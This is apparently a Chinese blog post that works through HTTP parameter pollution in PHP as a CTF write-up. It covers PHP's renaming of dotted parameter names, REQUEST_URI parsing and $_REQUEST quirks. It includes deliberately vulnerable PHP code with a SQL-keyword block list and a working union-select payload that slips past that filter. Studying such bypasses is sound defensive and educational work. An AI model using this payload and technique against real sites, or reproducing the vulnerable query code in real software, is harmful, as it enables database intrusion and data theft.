成因
个人理解HTTP参数污染
本身并不是一个漏洞,而是由于程序员没用充分理解服务端
接受参数的机制特性,导致对传进来的参数无法进行正确的处理。
下面这个表简单列举了一些常见的Web服务器对同样名称的参数出现多次的处理方式:
Web服务器 |
参数获取函数 |
获取到的参数 |
PHP/Apache |
$_GET(“par”) |
last |
JSP/Tomcat |
Request.getParameter(“par”) |
First |
Perl(CGI)/Apache |
Param(“par”) |
First |
Python/Apache |
getvalue(“par”) |
All (List) |
ASP/IIS |
Request.QueryString(“par”) |
All (comma-delimited string) |
当服务端接收到传入的变量名相同的时候,根据自身的机制来接受传参,如下测试代码
1 2 3 4
| <?php $a =$_GET['id']; echo $a; ?>
|
效果很明显,那么利用这个特性,当服务端存在不合理的处理机制的时候,漏洞就产生了。
利用HPP绕过waf
这边先列出三种php特性
1.php自身在解析请求的时候,如果参数名字中包含空格、 . 、[这几个字符,会将他们转换成_
。
2.php在遇到相同参数时接受第二个参数
3.通过$_SERVER['REQUEST_URI']
方式获得的参数并不会转换。
1 2 3 4 5 6 7
| <?php $a =$_GET['i_d']; $request_uri= explode("?",$_SERVER['REQUEST_URI']); var_dump($a); echo "<br>"; var_dump($request_uri[1]); ?>
|
一道CTF题试试手
漏洞代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <?php require 'db.inc.php'; function dhtmlspecialchars($string) { if (is_array($string)) { foreach ($string as $key => $val) { $string[$key] = dhtmlspecialchars($val); } } else { $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string); if (strpos($string, '&#') !== false) { $string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string); } } return $string; } function dowith_sql($str) { $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str); if ($check) { echo "非法字符!"; exit(); } return $str; } foreach ($_REQUEST as $key => $value) { $_REQUEST[$key] = dowith_sql($value); } $request_uri = explode("?", $_SERVER['REQUEST_URI']); if (isset($request_uri[1])) { $rewrite_url = explode("&", $request_uri[1]); foreach ($rewrite_url as $key => $value) { $_value = explode("=", $value); if (isset($_value[1])) { $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1])); } } } if (isset($_REQUEST['submit'])) { $user_id = $_REQUEST['i_d']; $sql = "select * from ctf.users where id=$user_id"; $result=mysql_query($sql); while($row = mysql_fetch_array($result)) { echo "<tr>"; echo "<td>" . $row['name'] . "</td>"; echo "</tr>"; } } ?>
|
很明显这是考察注入,不难发一下$user_id
虽让可控,但是都进过上面的层层waf
,特殊字符被转义,关键字也被过滤,似乎没有突破口了。
那么回想开头的PHP特性
,我们可以用user.id
来顶替user_id
,而这两个变量利用$_SERVER['REQUEST_URI']
处理时,是两个不同的变量,前面的实验就可以看出。先看看一下部分代码
1 2 3 4 5 6 7 8 9
| $request_uri = explode("?", $_SERVER['REQUEST_URI']); if (isset($request_uri[1])) { $rewrite_url = explode("&", $request_uri[1]); foreach ($rewrite_url as $key => $value) { $_value = explode("=", $value); if (isset($_value[1])) { $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1])); } }
|
首先用?
分割,然后再对参数部分用&
分割,如下图效果,就是将变量每个都取出来。然后在对变量的值进行过滤操作。
假如我们传入user_id=select database()&user.id=123
,当经过第一层waf
的时候,由于user.id
被解析成user_id
导致前面的值被覆盖,于是不会被第一个waf
给拦截。而在进行第二个waf
处理时,采用REQUEST_URI
处理参数,对参数进行替换等操作,再得到新的_REQUEST
。这样就导致我们的payload
成功的带入了sql
语句。不过还得先绕过dhtmlspecialchars
这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| function dhtmlspecialchars($string) { if (is_array($string)) { foreach ($string as $key => $val) { $string[$key] = dhtmlspecialchars($val); } } else { $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string); if (strpos($string, '&#') !== false) { $string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string); } } return $string; }
|
仔细看看,哪些被特殊编码替换了。 我们试一下构造payload
,其实构造的payload
很少需要被过滤掉的那些特殊字符,只不过括号被过滤了,导致注出数据库名有点棘手。。我并没想好如何绕过过滤括号的注入,以下下都是已知数据库名和表名的前提。
1 2
| order by 4 union select 1,2,3,4 %23
|
发现成功绕过了waf
,再源码里加几句输出看看语句发生了什么变化
的
在经过第二个waf
后i_d
的值成了我们构造的payload
的,这也说明了,第一个waf只对了最后那个接受进来的参数进行过滤。也就是i.d=111
,这个当然不会被waf
给阻挡了。 于是就这样华丽丽的利用phh
成功绕过了waf
。构造一下读取flag
的语句
由于是用REQUEST_URI
获取,所以需要对将这些会被编码的字符给替换掉,所以最终的payload
1
| ?i_d=-11unionselect1,flag,3,4fromday10.users&i.d=111
|
再看看REQUEST的另一个特性
$_REQUEST
是直接从GET,POST 和 COOKIE中取值,不是他们的引用。即使后续GET,POST 和 COOKIE
发生了变化,也不会影响$_REQUEST
的结果
小测试
1 2 3 4 5 6 7 8
| <?php if(isset($_REQUEST['id'])){ $id_1=str_replace("flag","",$_REQUEST['id']); } $id_2 = $_GET['id']; echo $id_1,"<br>"; echo $id_2,"<br>"; ?>
|
一个简单的小片段,运行结果如下
REQUEST
的传入方式有三种GET
,POST
,COOKIE
三种。由于我们采用GET
方式输入,所以也会进入if
里做了替换为空的操作。可当我们输出$_GET['id']
的值是发现它并没有进入过滤。那么如果正常的业务流程中,由于传参方法的不一致,就很可能导致waf
被绕过。
实例漏洞
是Ph神16年写的文章,在此,再膜一次Ph神!!tql!由于没给出具体版本号和CMS下载的地址,无法复现,这边就贴上个链接,学习一下思路。
贷齐乐系统最新版SQL注入,无需登录绕过WAF可union select跨表查询,用官方给的例子『宁波贷』作为验证。
Author:
zhhhy
Permalink:
http://yoursite.com/2018/11/15/hpp-1/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Solgan:
Do you believe in DESTINY?